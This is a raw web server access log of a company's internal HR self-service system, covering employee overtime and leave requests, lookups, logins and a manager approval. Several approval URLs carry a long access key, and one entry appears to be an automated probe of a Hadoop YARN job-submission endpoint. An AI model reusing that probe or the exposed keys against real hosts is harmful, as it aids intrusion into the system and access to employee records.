[05/Dec/2025:08:53:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.135 - - [05/Dec/2025:08:53:51 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.1264582343892563 HTTP/1.1" 200 8908 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:08:53:51 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.1264582343892563 HTTP/1.1" 200 8908 192.168.11.135 - - [05/Dec/2025:08:53:59 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.1264582343892563 HTTP/1.1" 200 24852 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.1264582343892563" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:08:53:59 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.1264582343892563 HTTP/1.1" 200 24852 192.168.11.135 - - [05/Dec/2025:08:54:16 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:08:54:16 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072 192.168.11.135 - - [05/Dec/2025:08:54:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:08:54:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.135 - - [05/Dec/2025:08:54:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8125 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:08:54:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8125 192.168.11.135 - - [05/Dec/2025:08:54:29 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 15537 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:08:54:29 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 15537 192.168.11.135 - - [05/Dec/2025:08:54:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:08:54:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.33 - - [05/Dec/2025:08:54:38 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7462199861732511 HTTP/1.1" 200 8456 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [05/Dec/2025:08:54:38 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7462199861732511 HTTP/1.1" 200 8456 192.168.11.33 - - [05/Dec/2025:08:54:42 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7462199861732511 HTTP/1.1" 200 10639 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7462199861732511" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [05/Dec/2025:08:54:42 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7462199861732511 HTTP/1.1" 200 10639 192.168.11.135 - - [05/Dec/2025:08:54:53 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9565321687975868 HTTP/1.1" 200 8908 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:08:54:53 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9565321687975868 HTTP/1.1" 200 8908 192.168.11.135 - - [05/Dec/2025:08:55:02 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9565321687975868 HTTP/1.1" 200 24852 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9565321687975868" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:08:55:02 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9565321687975868 HTTP/1.1" 200 24852 192.168.11.135 - - [05/Dec/2025:08:55:45 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:08:55:45 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.135 - - [05/Dec/2025:08:55:46 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D132742%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A132742&target=iframe HTTP/1.1" 200 3251 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:08:55:46 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D132742%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A132742&target=iframe HTTP/1.1" 200 3251 192.168.11.135 - - [05/Dec/2025:08:55:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8125 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:08:55:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8125 192.168.11.135 - - [05/Dec/2025:08:55:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 26734 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:08:55:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 26734 100.64.0.1 - - [05/Dec/2025:08:56:48 +0800] "HEAD /ehr/mgr/batchapprove.php?key=7C6666DC02DC78F9F6CD44A05FE978CFBE169A648409A34E3369703012EC15D54F83C7A557B853B688D600DB1F92230B HTTP/1.1" 302 - "-" "-" 100.64.0.1 - - [05/Dec/2025:08:56:48 +0800] "HEAD /ehr/mgr/batchapprove.php?key=7C6666DC02DC78F9F6CD44A05FE978CFBE169A648409A34E3369703012EC15D54F83C7A557B853B688D600DB1F92230B HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:08:56:49 +0800] "HEAD /ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F9F6CD44A05FE978CFBE169A648409A34E3369703012EC15D54F83C7A557B853B688D600DB1F92230B HTTP/1.1" 200 - "-" "-" 100.64.0.1 - - [05/Dec/2025:08:56:49 +0800] "HEAD /ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F9F6CD44A05FE978CFBE169A648409A34E3369703012EC15D54F83C7A557B853B688D600DB1F92230B HTTP/1.1" 200 - 192.168.137.57 - - [05/Dec/2025:08:56:50 +0800] "GET /ehr/mgr/batchapprove.php?key=7C6666DC02DC78F9F6CD44A05FE978CFBE169A648409A34E3369703012EC15D54F83C7A557B853B688D600DB1F92230B HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.137.57 - - [05/Dec/2025:08:56:50 +0800] "GET /ehr/mgr/batchapprove.php?key=7C6666DC02DC78F9F6CD44A05FE978CFBE169A648409A34E3369703012EC15D54F83C7A557B853B688D600DB1F92230B HTTP/1.1" 302 - 192.168.137.57 - - [05/Dec/2025:08:56:51 +0800] "GET /ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F9F6CD44A05FE978CFBE169A648409A34E3369703012EC15D54F83C7A557B853B688D600DB1F92230B HTTP/1.1" 200 36143 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.137.57 - - [05/Dec/2025:08:56:51 +0800] "GET /ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F9F6CD44A05FE978CFBE169A648409A34E3369703012EC15D54F83C7A557B853B688D600DB1F92230B HTTP/1.1" 200 36143 192.168.137.57 - - [05/Dec/2025:08:57:02 +0800] "POST /ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F9F6CD44A05FE978CFBE169A648409A34E3369703012EC15D54F83C7A557B853B688D600DB1F92230B HTTP/1.1" 302 128 "http://hcp.maglayers.com.cn:8088/ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F9F6CD44A05FE978CFBE169A648409A34E3369703012EC15D54F83C7A557B853B688D600DB1F92230B" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.137.57 - - [05/Dec/2025:08:57:02 +0800] "POST /ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F9F6CD44A05FE978CFBE169A648409A34E3369703012EC15D54F83C7A557B853B688D600DB1F92230B HTTP/1.1" 302 128 192.168.137.57 - - [05/Dec/2025:08:57:02 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132743%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132743&target=iframe HTTP/1.1" 302 108 "http://hcp.maglayers.com.cn:8088/ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F9F6CD44A05FE978CFBE169A648409A34E3369703012EC15D54F83C7A557B853B688D600DB1F92230B" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.137.57 - - [05/Dec/2025:08:57:02 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132743%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132743&target=iframe HTTP/1.1" 302 108 192.168.137.57 - - [05/Dec/2025:08:57:02 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F9F6CD44A05FE978CFBE169A648409A34E3369703012EC15D54F83C7A557B853B688D600DB1F92230B" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.137.57 - - [05/Dec/2025:08:57:02 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 192.168.11.33 - - [05/Dec/2025:08:57:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4202 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [05/Dec/2025:08:57:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4202 192.168.11.33 - - [05/Dec/2025:08:57:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [05/Dec/2025:08:57:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.33 - - [05/Dec/2025:08:58:14 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9625570327754609 HTTP/1.1" 200 8456 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [05/Dec/2025:08:58:14 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9625570327754609 HTTP/1.1" 200 8456 192.168.11.33 - - [05/Dec/2025:08:58:18 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9625570327754609 HTTP/1.1" 200 10639 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9625570327754609" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [05/Dec/2025:08:58:18 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9625570327754609 HTTP/1.1" 200 10639 100.64.0.1 - - [05/Dec/2025:09:04:55 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 100.64.0.1 - - [05/Dec/2025:09:04:55 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.25.1" 192.168.12.64 - - [05/Dec/2025:09:10:36 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [05/Dec/2025:09:10:36 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 192.168.12.64 - - [05/Dec/2025:09:10:39 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [05/Dec/2025:09:10:39 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.12.64 - - [05/Dec/2025:09:10:44 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.12.64 - - [05/Dec/2025:09:10:44 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [05/Dec/2025:09:10:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [05/Dec/2025:09:10:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.12.64 - - [05/Dec/2025:09:10:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [05/Dec/2025:09:10:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 192.168.12.64 - - [05/Dec/2025:09:10:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [05/Dec/2025:09:10:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 192.168.12.64 - - [05/Dec/2025:09:10:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [05/Dec/2025:09:10:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 192.168.12.64 - - [05/Dec/2025:09:10:59 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 168480 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [05/Dec/2025:09:10:59 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 168480 192.168.12.64 - - [05/Dec/2025:09:11:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 54265 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [05/Dec/2025:09:11:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 54265 192.168.12.64 - - [05/Dec/2025:09:11:22 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 49547 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [05/Dec/2025:09:11:22 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 49547 192.168.12.64 - - [05/Dec/2025:09:11:27 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 69121 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [05/Dec/2025:09:11:27 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 69121 192.168.11.33 - - [05/Dec/2025:09:11:51 +0800] "POST 